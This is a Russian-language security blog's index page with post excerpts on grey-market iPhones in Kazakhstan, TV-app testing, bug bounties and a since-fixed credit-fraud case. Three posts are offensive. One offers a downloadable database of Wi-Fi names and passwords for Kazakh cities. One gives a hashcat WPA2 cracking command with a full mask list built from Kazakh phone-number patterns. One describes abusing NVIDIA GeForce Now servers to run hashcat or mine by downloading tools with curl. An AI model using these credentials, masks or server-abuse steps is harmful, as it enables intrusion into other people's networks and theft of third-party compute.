SERJ.WS - Блог

Откуда берутся «серые» iPhone в Казахстане?

Serj — Mon, 30 Mar 2026 13:50:45 +0500

Многие знают, что в Казахстане вступил в силу закон: все новые или недавно ввезённые телефоны должны проходить верификацию по IMEI коду. При этом ограничение распространяется независимо от модели или версии устройства. Тем не менее на некоторых казахстанских маркетплейсах до сих пор можно встретить «серые» iPhone последних поколений, а также другие свежие устройства, ввезённые неофициальными поставщиками...

А что там с безопасностью TV - приложений?

Serj — Mon, 02 Mar 2026 11:12:40 +0500

Недавно перед релизом проводил анализ TV - приложения. Это сервис для умных телевизоров Samsung на TizenOS, просмотр ТВ-контента и платная медиатека...

Bugbounty

Serj — Tue, 24 Feb 2026 16:40:52 +0500

Вот и я решил заглянуть, что там вообще с BB в KZ

Находки на Pinduoduo

Serj — Mon, 16 Feb 2026 12:56:52 +0500

На Pinduoduo порой попадаются интересные девайсы для ИБ-исследований. Там можно найти аппаратные кейлогеры, BadUSB и кучу другого полезного железа.

Можно ли оформить кредит на человека без его согласия?

Serj — Sat, 07 Feb 2026 00:44:31 +0500

Пару лет назад был кейс, с которым я столкнулся. На данный момент уязвимости устранены, поэтому могу описать его.

Описываемая цепочка событий сформировалась не сразу. Она складывалась постепенно, из отдельных эпизодов, которые на первый взгляд никак не были связаны между собой и происходили в разное время.

К сожалению, сохранить все скриншоты не удалось, однако часть материалов всё же осталась.

PHP 7 на iOS (jailbreak)

Serj — Sat, 29 Feb 2020 01:32:04 +0500

Любителям PHP, сборка PHP 7 на iOS :) Репо для Cydia: http://serj.ws/cydia

Маленькая база Wifi паролей, Казахстан :)

Serj — Fri, 14 Feb 2020 00:18:23 +0500

Выкладываю одну из баз Wifi в формате name;pass в базе есть все крупные города Казахстана.

Скачать

Словарик для брута WPA2 на hashcat

Serj — Tue, 11 Feb 2020 02:27:37 +0500

Заметил, что в основном люди ставят пароль на Wifi - это номера своего сотового телефона. Выкладываю свой маленький словарик под hashcat

Перебор сотовых номеров KZ + номера авто

hashcat64.exe -m 2500 -a 3 wifi.hccapx phones.mask

=====================

?d?d?d?d?d?d?d?d

87172?d?d?d?d?d?d

8777?d?d?d?d?d?d?d

8705?d?d?d?d?d?d?d

8701?d?d?d?d?d?d?d

8702?d?d?d?d?d?d?d

8771?d?d?d?d?d?d?d

8776?d?d?d?d?d?d?d

8775?d?d?d?d?d?d?d

8713?d?d?d?d?d?d?d

8747?d?d?d?d?d?d?d

8707?d?d?d?d?d?d?d

8778?d?d?d?d?d?d?d

8700?d?d?d?d?d?d?d

701?d?d?d?d?d?d?d

702?d?d?d?d?d?d?d

777?d?d?d?d?d?d?d

705?d?d?d?d?d?d?d

771?d?d?d?d?d?d?d

776?d?d?d?d?d?d?d

775?d?d?d?d?d?d?d

713?d?d?d?d?d?d?d

747?d?d?d?d?d?d?d

707?d?d?d?d?d?d?d

778?d?d?d?d?d?d?d

700?d?d?d?d?d?d?d

7701?d?d?d?d?d?d?d

7702?d?d?d?d?d?d?d

7777?d?d?d?d?d?d?d

7705?d?d?d?d?d?d?d

7771?d?d?d?d?d?d?d

7776?d?d?d?d?d?d?d

7775?d?d?d?d?d?d?d

7747?d?d?d?d?d?d?d

7707?d?d?d?d?d?d?d

7778?d?d?d?d?d?d?d

+7777?d?d?d?d?d?d?d

+7705?d?d?d?d?d?d?d

+7701?d?d?d?d?d?d?d

+7702?d?d?d?d?d?d?d

+7771?d?d?d?d?d?d?d

+7776?d?d?d?d?d?d?d

+7775?d?d?d?d?d?d?d

+713?d?d?d?d?d?d?d

+7747?d?d?d?d?d?d?d

+7707?d?d?d?d?d?d?d

+7778?d?d?d?d?d?d?d

kz?d?d?d?l?l?l04

d?d?d?d?l?l?l

=====================

Брутим хеши или майним на серверах NVIDIA

Serj — Sat, 08 Feb 2020 02:01:38 +0500

Попался на рекламу облачного гейминга от NVIDIA - GeForce Now, решил протестить сервер после запуска игры...

Писал в NVIDIA, им срать...)

Добавляем в либу CMD

Запускаем:

Через cmd, скачиваем hashcat с помощью курла в директория C:WindowsTemp (только от туда все запускается)

ZeroNight 2019

Serj — Fri, 07 Feb 2020 00:15:48 +0500

Вновь удалось, осенью (2019) посетить ZeroNight, и поучаствовать в конкурсе, этот раз был круче :)

Подарочек от RBK.money